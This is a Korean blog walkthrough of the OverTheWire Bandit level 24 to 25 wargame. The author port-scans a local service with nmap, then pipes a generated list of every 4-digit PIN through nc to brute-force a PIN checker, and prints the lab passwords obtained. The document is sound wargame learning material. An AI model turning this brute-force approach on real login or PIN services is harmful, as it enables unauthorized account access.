WAR GAME/Bandit

[OverTheWire: Bandit] level24 -> level25

jir4vvit 2020. 3. 7. 15:34

사용 툴: cygwin

 

1) 문제

level24 -> level25 문제

간단하게 설명하면

포트 30002번에 브루트포싱을 이용하여 얻은 4자리의 핀번호와 함께 bandit24의 패스워드를 함께 제출하면 bandit25의 패스워드를 준다고 한다.

 

 

2) 문제풀이

 

먼저 브루트포싱이 뭘까?

한마디로 '무작위 대입 공격'이라는 뜻이다.

 

bandit24@bandit:~$ ls -al
total 20
drwxr-xr-x  2 root root 4096 Oct 16  2018 .
drwxr-xr-x 41 root root 4096 Oct 16  2018 ..
-rw-r--r--  1 root root  220 May 15  2017 .bash_logout
-rw-r--r--  1 root root 3526 May 15  2017 .bashrc
-rw-r--r--  1 root root  675 May 15  2017 .profile
bandit24@bandit:~$

bandit24의 홈디렉터리를 살펴보면 별다른 단서는 없는 듯 하다.

 

문제에서 말한 30002 포트가 열려있는지 확인해보기 위해 포트 스캐닝을 해보겠다.

포트스캐닝을 하는 방법은 다양하다.

오늘은 nmap 명령어를 사용해보겠다.

 

bandit24@bandit:~$ nmap -sT localhost -p 30002

Starting Nmap 7.40 ( https://nmap.org ) at 2020-03-07 06:51 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00014s latency).
PORT      STATE SERVICE
30002/tcp open  pago-services2

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
bandit24@bandit:~$

T는 tcp 연결을 뜻한다.

스캔 종류가 여러가지라고 하는데, tcp 스캔이 제일 정확도가 높다고 한다.

포트스캐닝에 대해서는 나중에 따로 공부를 해봐야겠다.

 

결과를 보면 30002는 열려있고 pago-services2...?라는 프로그램이 열려있다고 한다.

 

로컬호스트의 30002 포트에 접속을 해보겠다.

bandit24@bandit:~$ nc 127.0.0.1 30002
I am the pincode checker for user bandit25. 
Please enter the password for user bandit24 
and the secret pincode on a single line, separated by a space.
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 2345
Wrong! Please enter the correct pincode. Try again.
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 2349
Wrong! Please enter the correct pincode. Try again.
fsd
Fail! You did not supply enough data. Try again.

접속해보니까,

user bandit25의 핀코드 checker라고 한다. bandit24와 4글자의 핀코드를 적으면 bandit25의 패스워드를 줄 것 같다.

(알아보기 쉽게 임의로 내가 영어문장을 띄어쓰기 하였다. 원래 저 세줄은 한 줄이다.)

 

내가 답을 주는 형식은

bandit24패스워드 + 띄어쓰기 한 칸 + 핀번호4자리

이다. 

이 형식에 어긋나면 Fail! 이라고 말한다 ㅠㅠ

 

패스워드와 핀번호4자리가 있는 txt 파일을 만들어서 30002 포트에 연결할 때 제출을 해야겠다.

패스워드와 핀번호4자리가 있는 txt파일은 따로 쉘코드를 작성하여 txt파일로 결과를 도출해야겠다!

 

bandit24@bandit:~$ mkdir /tmp/mylevel25
bandit24@bandit:~$ vi /tmp/mylevel25/test.sh

/tmp/mylevel25/test.sh

이런식으로 쉘코드를 짜보았다.

0000부터 9999까지  for문으로 4자리의 핀번호를 passlist.txt라는 새로운 파일에 저장하였다.

 

bandit24@bandit:~$ cd /tmp/mylevel25
bandit24@bandit:/tmp/mylevel25$ ls -al
total 305928
drwxr-sr-x 2 bandit24 root      4096 Mar  7 07:11 .
drwxrws-wt 1 root     root 313204736 Mar  7 07:11 ..
-rw-r--r-- 1 bandit24 root       125 Mar  7 07:09 test.sh
bandit24@bandit:/tmp/mylevel25$ ./test.sh
-bash: ./test.sh: Permission denied
bandit24@bandit:/tmp/mylevel25$ chmod 777 test.sh
bandit24@bandit:/tmp/mylevel25$ ls -al
total 305928
drwxr-sr-x 2 bandit24 root      4096 Mar  7 07:11 .
drwxrws-wt 1 root     root 313204736 Mar  7 07:12 ..
-rwxrwxrwx 1 bandit24 root       125 Mar  7 07:09 test.sh
bandit24@bandit:/tmp/mylevel25$ ./test.sh
bandit24@bandit:/tmp/mylevel25$ ls -al
total 306300
drwxr-sr-x 2 bandit24 root      4096 Mar  7 07:18 .
drwxrws-wt 1 root     root 313204736 Mar  7 07:18 ..
-rw-r--r-- 1 bandit24 root    380000 Mar  7 07:18 passlist.txt
-rwxrwxrwx 1 bandit24 root       128 Mar  7 07:18 test.sh

test.sh를 만들어줬는데 permission이 저래가지고 777로 바꿔준 다음 다시 실행해주었다.

저기에 passlist.txt가 생긴 것을 확인하였다.

위의 코드에는 없지만 cat으로 열어봤는데 잘 내용이 들어간 것을 확인할 수 있었다...

 

이제 nc로 30002번 포트에 연걸할 때 저 파일을 같이 주도록 하겠다.

 

bandit24@bandit:/tmp/mylevel25$ cat passlist.txt | nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
..
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Exiting.
bandit24@bandit:/tmp/mylevel25$

cat으로 문서를 열고 30002번 포트에서 한 줄씩 읽다가 Correct! 문자가 나오면서

bandit25의 패스워드를 알 수 있었다.

 

bandit24@bandit:/tmp/mylevel25$ ssh bandit25@localhost
bandit25@bandit:~$ id
uid=11025(bandit25) gid=11025(bandit25) groups=11025(bandit25)
bandit25@bandit:~$

 

끝!